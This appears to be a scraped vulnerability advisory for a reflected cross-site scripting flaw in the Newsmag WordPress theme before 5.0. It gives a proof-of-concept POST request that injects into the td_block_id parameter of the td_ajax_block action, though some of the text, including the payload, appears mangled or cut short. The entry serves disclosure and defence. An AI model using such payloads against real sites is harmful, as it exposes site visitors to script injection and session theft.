Lucene search

K
wpvulndbTruoc PhanWPVDB-ID:BB71F2F9-76BD-43F4-A8C9-35771DD28DFF
HistoryJul 12, 2021 - 12:00 a.m.

Newsmag < 5.0 - Unauthenticated Reflected Cross-site Scripting (XSS)

2021-07-1200:00:00
Truoc Phan
wpscan.com
9

The theme does not sanitise the td_block_id parameter in its td_ajax_block AJAX action, leading to an unauthenticated Reflected Cross-site Scripting (XSS) vulnerability. Due to a nonce check, this issue is only exploitable on unauthenticated users (for as long as the nonce used in the request is valid)

PoC

POST /wp-admin/admin-ajax.php HTTP/1.1 Accept: application/json, text/javascript, /; q=0.01 Accept-Language: en-GB,en;q=0.5 Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded; charset=UTF-8 X-Requested-With: XMLHttpRequest Content-Length: 136 Connection: close action=td_ajax_block&td;_block_id=">&block;_type=td_block_related_posts&td;_magic_token=59c7ec0654

CPENameOperatorVersion
newsmaglt5.0
Related for WPVDB-ID:BB71F2F9-76BD-43F4-A8C9-35771DD28DFF